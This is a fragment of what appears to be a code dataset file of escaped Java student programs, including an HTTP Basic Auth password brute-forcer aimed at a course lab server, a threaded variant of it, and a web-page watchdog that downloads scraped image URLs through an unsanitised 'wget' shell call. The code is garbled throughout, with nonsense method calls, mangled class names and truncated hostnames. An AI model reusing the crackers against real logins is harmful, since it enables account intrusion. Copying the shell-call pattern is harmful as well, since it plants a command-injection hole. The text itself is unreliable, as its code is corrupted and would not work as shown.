e);\n }\n } \n\n\t\869 \n private WebPage getPage()\n {\n WebPage tempWebPage = new WebPage();\n\870 \ try\n {\n \n \n \n \871 \ String urlName = \"http://www.cs.rmit.edu./students/\";\n \t \tURL targetURL=\872 \ new URL(urlName);\n \tHttpURLConnection connection = (HttpURLConnection)\873 \ targetURL.openConnection();\n \n \n connection.connect();\n\874 \ connection.getResponseCode();\n if(connection.getResponseCode()\875 \ == 200)\n\t\t {\n\t\t String fileContents = \"\";\n\t\t BufferedReader\876 \ in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n\877 \ String line;\n \t\t while((line = in.readLine()) != null)\n\878 \t\t \t fileContents = fileContents + line + \"\\n\";\n\t\t in.print();\n\879 \t\t tempWebPage.setPageContents(fileContents);\n \t\t tempWebPage.setSuccess(true);\n\880 \ \t\t connection.disconnect();\n\t }\n\t else\n\t\t {\n\881 \ \t\t writeProgramLog(\"Failed connect \" + connection.getResponseCode());\n\882 \t\t } \n }\n catch(IOException e)\n {\n \t writeProgramLog(\"\883 Exception \" + e);\n } \n return tempWebPage;\n } \n \n\t\n\884 \ private byte[] calcHash(String pageContents)\n {\n byte[] outHash\885 \ = null;\n try\n {\n MessageDigest msg = MessageDigest.getInstance(\"\886 \");\n msg.reset();\n msg.update(pageContents.getBytes());\n\887 \ outHash = msg.digest();\n msg.reset();\n }\n \888 \ catch(NoSuchAlgorithmException e)\n {\n writeProgramLog(\"\889 Exception: \" + e);\n }\n return outHash;\n } \n \n} \n"890 sentences:891 - "import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\892 \nclass BruteForce {\n\n String password=\"\";\n\n int num =401;\n\n\n \893 \ public static void main (String[] args) {\n\n String str=\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\894 ;\n\n BruteForce URLcon;\n\n int length = 0;\n\n String passwd=\"\895 \";\n\n int t0,t1;\n\n \n if (args.length == 0) {\n \t\n\896 \ \tSystem.err.println (\n \t\t\n \t\t\"Usage : java BruteForce\897 \ <username>\");\n \treturn;\n \t\n \t}\n String username\898 \ = args[0];\n \n\n t0=System.currentTimeMillis();\n\n System.out.println\899 \ (\" \" + new Date());\n \n System.out.println (\"Using BruteForce\900 \ method attack \"+username+\"'s password.Please waiting.......\");\n\n \901 \ for (int i=0;i<str.length();i++){\n\n passwd=str.substring(i,i+1);\n\902 \n URLcon = new BruteForce (passwd,username);\n\n if ((URLcon.num)!=401)\903 \ {\n\n \tt1=System.currentTimeMillis();\n\n System.out.println(\"\904 The password: \"+ passwd);\n\n \tdouble dt =t1-t0;\n\n\n\n \905 \ \tSystem.out.println(\"It took \"+ DecimalFormat.getInstance().format(dt/1000)+\906 \ \" seconds.\");\n\n System.out.println (\"Finish \" + new Date());\n\907 \ \n \treturn;\n\n }\n\n for\908 \ (int j=0;j<str.length();j++){\n\n passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\909 \n URLcon = new BruteForce (passwd,username);\n\n \910 \ if ((URLcon.num)!=401) {\n\n \t t1=System.currentTimeMillis();\n\911 \n System.out.println(\"The password: \"+ passwd);\n\n\n \912 \ double dt =t1-t0;\n\n\n\n System.out.println(\"\913 It took \"+ DecimalFormat.getInstance().format(dt/1000)+ \" seconds.\");\n \914 \ System.out.println (\"Finish \" + new Date());\n \915 \ \t return;\n\n }\n for (int m=0;m<str.length();m++){\n\916 \n passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\917 \n URLcon = new BruteForce (passwd,username);\n\n \918 \ if ((URLcon.num)!=401) {\n\n \tt1=System.currentTimeMillis();\n\919 \n System.out.println(\"The password: \"+ passwd);\n\n\n \920 \ \t double dt =t1-t0;\n\n\n\n \tSystem.out.println(\"\921 It took \"+DecimalFormat.getInstance().format(dt/1000)+ \" seconds.\");\n \922 \ \n System.out.println (\"Finish \" + new\923 \ Date());\n \n \t return;\n\n \924 \ }\n\n\n }\n\n}\n}\n System.out.println(\" not find the\925 \ password\");\n\n}\n\n public BruteForce (String password, String username){\n\926 \n \t String urlString = \"http://sec-crack.cs.rmit.edu./SEC/2/\" ;\n\n \927 \ \n\n try {\n\n String userPassword = username+\":\"+password ;\n\928 \n String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\929 \n URL url = new URL (urlString);\n\n HttpURLConnection uc = (HttpURLConnection)\930 \ url.openConnection();\n\n uc.setRequestProperty (\"Authorization\", \"\931 \ \" + encoding);\n\n url = uc.getResponseCode();\n\n\n }\n \932 \ catch(MalformedURLException e){\n \t System.out.println(e);\n \933 \ }catch(IOException e){\n System.out.println(e);\n }\n\n\n \934 \ }\n}"935 - "package java.httputils;\n\nimport java.io.IOException;\nimport java.net.MalformedURLException;\n\936 import java.sql.Timestamp;\n\n\npublic class RunnableBruteForce extends BruteForce\937 \ implements Runnable\n{\n protected int rangeStart, rangeEnd;\n protected\938 \ boolean stop = false;\n \n public RunnableBruteForce()\n {\n \939 \ super();\n }\n\n \n public void run()\n {\n process();\n\940 \ }\n\n public static void main(String[] args)\n {\n }\n \n \941 \ public int getRangeEnd()\n {\n return rangeEnd;\n }\n\n \n \942 \ public int getRangeStart()\n {\n return rangeStart;\n }\n\n \943 \ \n public void setRangeEnd(int i)\n {\n rangeEnd = i;\n }\n\944 \n \n public void setRangeStart(int i)\n {\n rangeStart = i;\n\945 \ }\n\n \n public boolean isStop()\n {\n return stop;\n \946 \ }\n\n \n public void setStop(boolean b)\n {\n stop = b;\n \947 \ }\n\n public void process()\n {\n String password = \"\";\n \948 \ \n System.out.println(Thread.currentThread().getName() +\n \949 \ \"-> workload: \" +\n this.letters[getRangeStart()]\950 \ + \" \" +\n this.letters[getRangeEnd() - 1]);\n\951 \ setStart(new Timestamp(System.currentTimeMillis()));\n\n for (int\952 \ i = getRangeStart();\n i < getRangeEnd();\n i++)\n \953 \ {\n System.out.println(Thread.currentThread().getName() +\n \954 \ \"-> Trying words beginning with: \" +\n \955 \ letters[i]);\n for (int i2 = 0;\n i2 < letters.length;\n\956 \ i2++)\n {\n for (int i3 = 0;\n \957 \ i3 < letters.length;\n i3++)\n \958 \ {\n if (isStop())\n {\n \959 \ return;\n }\n try\n \960 \ {\n char [] arr = new char [] {letters[i],\961 \ letters[i2], letters[i3]};\n String pwd = new String(arr);\n\962 \ \n if (Thread.currentThread().getName().equals(\"\963 Thread-1\") && pwd.equals(\"bad\"))\n {\n \964 \ System.out.println(Thread.currentThread().getName() +\n \965 \ \"-> Trying password: \" +\n \966 \ pwd);\n }\n attempts++;\n\967 \n BasicAuthHttpRequest req =\n \968 \ new BasicAuthHttpRequest(\n getURL(),\n \969 \ getUserName(),\n \970 \ pwd);\n System.out.println(\"Got the password\");\n\971 \ setPassword(pwd);\n setEnd(new\972 \ Timestamp(System.currentTimeMillis()));\n setContent(req.getContent().toString());\n\973 \n \n this.setChanged();\n \974 \ this.notifyObservers(this.getContent());\n \975 \ return;\n }\n catch (MalformedURLException\976 \ e)\n {\n e.printStackTrace();\n \977 \ return;\n }\n catch\978 \ (IOException e)\n {\n\n }\n \979 \ }\n }\n }\n\n \n setEnd(new Timestamp(System.currentTimeMillis()));\n\980 \ }\n\n}\n"981 - "\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport\982 \ java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\983 \n{\n\n static String strImageOutputFile01 = \"WebPageImages01.txt\";\n\984 \ static String strImageOutputFile02 = \"WebPageImages02.txt\";\n\n static\985 \ String strWebPageOutputFile01 = \"WebPageOutput01.txt\";\n static String\986 \ strWebPageOutputFile02 = \"WebPageOutput02.txt\";\n\n static String strWatchDogDiffFile_01_02\987 \ = \"WatchDogDiff_01_02.txt\";\n\n static String strFromEmailDefault = \"@.rmit.edu.\"\988 ;\n static String strToEmailDefault = \"@.rmit.edu.\";\n\n static String\989 \ strFromEmail = null;\n static String strToEmail = null;\n\n\n\n\n public\990 \ static void main (String args[])\n \n {\n\n \n \n \991 \ \n \n \n\n URL url = null;\n HttpURLConnection urlConnection;\n\992 \ int intContentLength;\n String strWebPageText = \"\";\n\n String\993 \ strURL = \"http://www.cs.rmit.edu./students/\";\n String strPrePend\994 \ = \"http://www.cs.rmit.edu.\";\n\n boolean boolURLisOK = true;\n\n\n\n\n\995 \n System.out.println();\n\n\n \n \n tidyUpWatchDogFiles();\n\996 \n\n \n \n \n \n promptForEmailAddresses();\n\997 \n\n\n\n try\n {\n \n \n url = new URL(strURL);\998 \ \n }\n\n catch(MalformedURLException e)\n {\n System.out.println(\"\999 ERROR: invalid URL \" + strURL); \n System.err.println(e); \n \n \1000 \ boolURLisOK = false;\n url = null;\n } \n\n catch(Exception\1001 \ e)\n {\n System.out.println(\"Exception\"); \n System.err.println(e);\1002 \ \n }\n\n\n System.err.println(); \n\n\n if (boolURLisOK)\n\1003 \ {\n try\n { \n\n \n \n \1004 \ urlConnection = (HttpURLConnection)url.openConnection();\n\n\n \1005 \ \n \n InputStream urlStream = urlConnection.getInputStream();\n\1006 \n\n \n \n int intNumRead = urlStream.print();\n\1007 \ String strNewContent; \n\n while (intNumRead != -1)\n\1008 \ {\n intNumRead = urlStream.print();\n \1009 \ if (intNumRead != -1)\n {\n strNewContent =\1010 \ (char)intNumRead + \"\"; \n strWebPageText += strNewContent;\n\1011 \ }\n }\n\n urlStream.print(); \n\n\n\n \1012 \ \n \n if (strWebPageText != null)\n \1013 \ {\n\n if (fileExists(strWebPageOutputFile01))\n \1014 \ {\n writeTextToFile(strWebPageText, strWebPageOutputFile02);\1015 \ \n }\n\n else\n {\n\1016 \ writeTextToFile(strWebPageText, strWebPageOutputFile01); \1017 \ \n }\n\n\n if (fileExists(strWebPageOutputFile02))\n\1018 \ { \n System.out.println(\"Output file\");\n \1019 \ System.out.println(\"-----------\");\n System.out.println(\"\1020 The output file '\" + \n strWebPageOutputFile02\1021 \ + \n \"' has NOW BEEN created.\"); \1022 \ \n System.out.println();\n\1023 \ System.out.println(\"Comparison\");\n System.out.println(\"\1024 ----------\");\n System.out.println(\"A text comparison NOW\1025 \ performed \" +\n \"with the output\");\n\1026 \ System.out.println(\"file '\" + strWebPageOutputFile01 + \"\1027 '.\");\n System.out.println();\n\n\n\n \n\1028 \ \n\n \n \n \1029 \ createDiffFileIfNeeded(strWebPageOutputFile01, \n \1030 \ strWebPageOutputFile02); \n\n\n \1031 \ \n \n if (fileExists(strWatchDogDiffFile_01_02))\n\1032 \ { \n\n System.out.println(\"Mail (ordinary\1033 \ text comparison)\");\n System.out.println(\"--------------------------------\"\1034 );\n\n if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n \1035 \ {\n sendMailWithDetectedChanges();\n\1036 \ System.out.println(\"Text diff mail has been sent the\1037 \ '' email address.\");\n }\n else\n \1038 \ {\n System.out.println(\"The DIFF\1039 \ file has zero length - text diff mail has NOT been sent.\");\n \1040 \ }\n\n }\n\n\n\n \n \1041 \ \n createImageTextFile(strWebPageOutputFile01, strPrePend);\n\1042 \ createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n\1043 \ System.out.println();\n System.out.println(\"\1044 Image text file/s\");\n System.out.println(\"-----------------\"\1045 );\n\n\n if (fileExists(strImageOutputFile01))\n \1046 \ {\n System.out.println(\"'\" + strImageOutputFile01\1047 \ + \"' has been created.\");\n System.out.println(\"Images\1048 \ from '\" + strImageOutputFile01 + \"' now downloaded using\"); \n \1049 \ System.out.println(\"the Unix 'wget' command:\"); \n\n \1050 \ downloadImages(strImageOutputFile01);\n }\n\n\1051 \ if (fileExists(strImageOutputFile02))\n {\n\1052 \ System.out.println();\n System.out.println(\"\1053 '\" + strImageOutputFile02 + \"' has been created.\");\n }\n\n\1054 \ System.out.println();\n\n }\n\n \1055 \ else if (fileExists(strWebPageOutputFile01))\n {\n \1056 \ System.out.println(\"Output file\");\n System.out.println(\"\1057 -----------\");\n System.out.println(\"The output file '\" \1058 \ + \n strWebPageOutputFile01 + \n \1059 \ \"' has NOW BEEN created.\"); \1060 \ \n System.out.println();\n \1061 \ System.out.println(\"Comparison\");\n System.out.println(\"\1062 ----------\");\n System.out.println(\"A comparison CANNOT performed\1063 \ \" +\n \"with this output file\");\n \1064 \ System.out.println(\"because it is the only output file \" +\n\1065 \ \"in existence.\");\n System.out.println();\n\1066 \ }\n\n }\n\n }\n\n catch(Exception e)\n\1067 \ {\n\n boolURLisOK = false;\n\n System.err.println(e);\n\1068 \ } \n\n finally\n { \n urlConnection = null;\n\1069 \ url = null; \n }\n\n }\n\n\n System.out.println();\n\1070 \n }\n\n\n\n\n\n\n\n static void tidyUpWatchDogFiles()\n \n {\n\n \1071 \ \n \n\n\n \n \n deleteFile(strWatchDogDiffFile_01_02);\n\1072 \n\n \n \n deleteFile(strImageOutputFile01);\n deleteFile(strImageOutputFile02);\n\1073 \n\n if (fileExists(strWebPageOutputFile01))\n {\n\n if (fileExists(strWebPageOutputFile02))\n\1074 \ {\n \n \n \n \1075 \ \n \n deleteFile(strWebPageOutputFile01);\n \1076 \ renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n }\n\1077 \n }\n\n else\n {\n \n \n \n \1078 \ deleteFile(strWebPageOutputFile02);\n }\n\n }\n\n\n\n\n\n\n\n\1079 \ static void promptForEmailAddresses()\n \n { \n\n\n BufferedReader\1080 \ stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n \1081 \ \n \n System.out.println();\n System.out.println(\"'From'\1082 \ email address\");\n System.out.println(\"--------------------\");\n \1083 \ System.out.println(\"Please enter a 'From' email address, press Enter for\1084 \ default\");\n System.out.print(\"(default: \" + strFromEmailDefault + \"\1085 ): \");\n\n try\n {\n strFromEmail = stdin.readLine();\n \1086 \ }\n catch (Exception e)\n {\n System.err.println(e);\n\1087 \ }\n \n\n System.out.println();\n\n if ( (strFromEmail == null)\1088 \ || (strFromEmail.length() == 0) )\n {\n System.out.println(\" email\1089 \ address was entered.\"); \n System.out.println(\"The 'From'\1090 \ email address default : \" + strFromEmailDefault); \n strFromEmail\1091 \ = strFromEmailDefault;\n }\n\n else\n {\n System.out.println(\"\1092 The entered 'From' email address is: \" + strFromEmail); \n }\n\n\1093 \n\n \n \n System.out.println();\n System.out.println(\"\1094 '' email address\");\n System.out.println(\"------------------\");\n \1095 \ System.out.println(\"Please enter a '' email address, press Enter for default\"\1096 );\n System.out.print(\"(default: \" + strToEmailDefault + \"): \");\n\n\1097 \ try\n {\n strToEmail = stdin.readLine();\n }\n catch\1098 \ (Exception e)\n {\n System.err.println(e);\n }\n \n\n \1099 \ System.out.println();\n\n if ( (strToEmail == null) || (strToEmail.length()\1100 \ == 0) )\n {\n System.out.println(\" email address was entered.\"\1101 ); \n System.out.println(\"The '' email address default : \"\1102 \ + strToEmailDefault); \n strToEmail = strToEmailDefault;\n \1103 \ }\n\n else\n {\n System.out.println(\"The entered '' email\1104 \ address is: \" + strToEmail); \n }\n\n }\n\n\n\n\n\n\n\n static\1105 \ void writeTextToFile(String strText,\n String\1106 \ strWriteToThisFileName)\n \n {\n\n try\n {\n\n File newFile\1107 \ = new File(strWriteToThisFileName);\n\n if (newFile.exists())\n \1108 \ {\n newFile.delete();\n }\n\n\n BufferedWriter\1109 \ toFile =\n new BufferedWriter(new FileWriter(newFile,\n \1110 \ false));\n\n toFile.write(strText);\n\1111 \n toFile.print();\n toFile = null;\n newFile = null;\n\1112 \n }\n\n catch(Exception e)\n {\n System.err.println(e.toString());\n\1113 \ System.out.println(\"File write problem for '\" + \n \1114 \ strWriteToThisFileName +\n \"'.\"\1115 ); \n }\n\n }\n\n\n\n\n\n\n\n static void createDiffFileIfNeeded(String\1116 \ strFileName1, \n String strFileName2)\n\1117 \ \n {\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n\n \n \1118 \ \n try\n {\n\n Process p = Runtime.getRuntime().exec(\"\1119 ./diff_files.sh\");\n p.waitFor();\t\n\n }\n\n catch (Exception\1120 \ e)\n {\n System.out.println(\"Shell script exception\");\n \1121 \ System.out.println(\"----------------------\");\n System.err.println(e);\n\1122 \ System.out.println(\"\");\n }\n\n }\n\n\n\n\n\n\n\n static\1123 \ void createImageTextFile(String inputFile, String prePend)\n \n {\n\n \1124 \ \n \n \n \n \n \n \n \1125 \ \n \n \n \n \n \n \n\1126 \ \n \n \n \n \n\n String str;\n\1127 \ String strImage = \"\";\n String strImageArray[];\n String strInputFromFile\1128 \ = \"\";\n String strSearchString = \"<img src\";\n\n boolean boolContinue\1129 \ = true;\n\n int intImageCounter = 0;\n int intStartSearch = 0;\n\1130 \n char ch;\n\n\n\n\n\n strImageArray = new String[1000];\n\n\n\n \1131 \ \n \n try\n {\n\n BufferedReader file =\n \1132 \ new BufferedReader(new FileReader(inputFile));\n\n\n while\1133 \ ( (str = file.readLine()) != null)\n {\n strInputFromFile\1134 \ += str;\n }\n\n file.print();\n file = null;\n\n \1135 \ }\n\n catch (Exception e)\n {\n boolContinue = false;\n\1136 \ System.err.println(e); \n }\t\n\n\n\n if (boolContinue)\n\1137 \ {\n\n strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\1138 \n intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\1139 \n\n while (intStartSearch != -1)\n {\n\n intStartSearch\1140 \ += 8;\n\n while ( (strInputFromFile.charAt(intStartSearch) == ' ')\1141 \ ||\n (strInputFromFile.charAt(intStartSearch) == '=') ||\n\1142 \ (strInputFromFile.charAt(intStartSearch) == '\\\"') )\n\1143 \ {\n intStartSearch++; \n }\n\n\1144 \ while ((strInputFromFile.charAt(intStartSearch) != '\\\"')) \1145 \ \n {\n\n ch = strInputFromFile.charAt(intStartSearch);\n\1146 \n strImage += String.valueOf(ch);\n intStartSearch++;\n\1147 \n }\n\n\n if (strImage.startsWith(\"/\"))\n \1148 \ strImage = prePend + strImage; \n\n\n intImageCounter++;\n\1149 \ strImageArray[intImageCounter - 1] = strImage;\n\n strImage\1150 \ = \"\";\n\n intStartSearch = strInputFromFile.indexOf(strSearchString,\1151 \ intStartSearch);\n\n }\n\n\n if (inputFile.equals(strWebPageOutputFile01))\1152 \ \n { \n writeTextArrayToFile(strImageArray, \n \1153 \ strImageOutputFile01,\n \1154 \ intImageCounter);\n }\n else if (inputFile.equals(strWebPageOutputFile02))\1155 \ \n { \n writeTextArrayToFile(strImageArray, \n \1156 \ strImageOutputFile02,\n \1157 \ intImageCounter);\n }\n\n\n }\n\n }\n\n\n\n\n\n\n\n static\1158 \ void downloadImages(String ImageOutputFile)\n \n {\n\n Process p;\n\1159 \n String str;\n String strFileName;\n\n\n\n try \n {\n\1160 \n BufferedReader file =\n new BufferedReader(new FileReader(ImageOutputFile));\n\1161 \n\n\n while ( (str = file.readLine()) != null)\n {\n\n \1162 \ strFileName = getImageFileName(str);\n\n System.out.println(\"\1163 \ \" + str);\n System.out.println(\" file name: \"\1164 \ + strFileName); \n\1165 \n\n if (fileExists(strFileName))\n deleteFile(strFileName);\n\1166 \n\n p = Runtime.getRuntime().exec(\"wget \" + str);\n p.waitFor();\t\1167 \n\n }\n\n\n file = null;\n\n }\n\n catch (Exception\1168 \ e)\n {\n System.err.println(\"downloadingImages: \" + e);\n \1169 \ }\n\n }\n\n\n\n\n\n\n\n static String getImageFileName(String imageFileName)\n\1170 \ \n {\n\n \n \n \n\n String strFileName;\n\n\1171 \ int intFileNameLength = imageFileName.length(); \n int intStartPosOfFileName\1172 \ = intFileNameLength - 1;\n\n\n\n\n \n \n while ( (intStartPosOfFileName\1173 \ >= 0) && \n (imageFileName.charAt(intStartPosOfFileName) != '/')\1174 \ )\n {\n intStartPosOfFileName--; \n }\n\n\n strFileName\1175 \ = imageFileName.substring(intStartPosOfFileName + 1, \n \1176 \ intFileNameLength);\n\n\n return strFileName;\n\n\1177 \ }\n\n\n\n\n\n\n\n static void writeTextArrayToFile(String strTextArray[],\n\1178 \ String strWriteToThisFileName,\n \1179 \ int numberOfImages )\n \n {\n\n boolean\1180 \ boolFirstLineWritten = false;\n\n\n\n try\n {\n\n File newFile\1181 \ = new File(strWriteToThisFileName);\n\n if (newFile.exists())\n \1182 \ {\n newFile.delete();\n }\n\n\n BufferedWriter\1183 \ toFile =\n new BufferedWriter(new FileWriter(newFile,\n \1184 \ false));\n\n for ( int i = 0\1185 \ ; i < numberOfImages ; i++ )\n {\n\n if (boolFirstLineWritten)\1186 \ \n toFile.newLine();\n else\n boolFirstLineWritten\1187 \ = true;\n \n\n toFile.write(strTextArray[i]);\n\n }\n\n\n\1188 \ toFile.print();\n toFile = null;\n newFile = null;\n\1189 \n }\n\n catch(Exception e)\n {\n System.err.println(e.toString());\n\1190 \ System.out.println(\"File write problem for '\" + \n \1191 \ strWriteToThisFileName +\n \"'.\"\1192 ); \n }\n\n }\n\n\n\n\n\n\n\n static boolean fileExists(String\1193 \ strFileName)\n \n {\n\n boolean boolReturnValue;\n File aFile\1194 \ = new File(strFileName);\n\n\n if (aFile.exists())\n boolReturnValue\1195 \ = true;\n else\n boolReturnValue = false;\n \n\n aFile\1196 \ = null;\n\n\n return boolReturnValue;\n\n }\n\n\n\n\n\n\n\n static\1197 \ void deleteFile(String strFileName)\n \n {\n\n\n if (fileExists(strFileName))\n\1198 \ { \n File aFile = new File(strFileName);\n\n try\n \1199 \ {\n aFile.delete();\n }\n\n catch (Exception\1200 \ e)\n {\n System.err.println(e);\n }\n\n\n \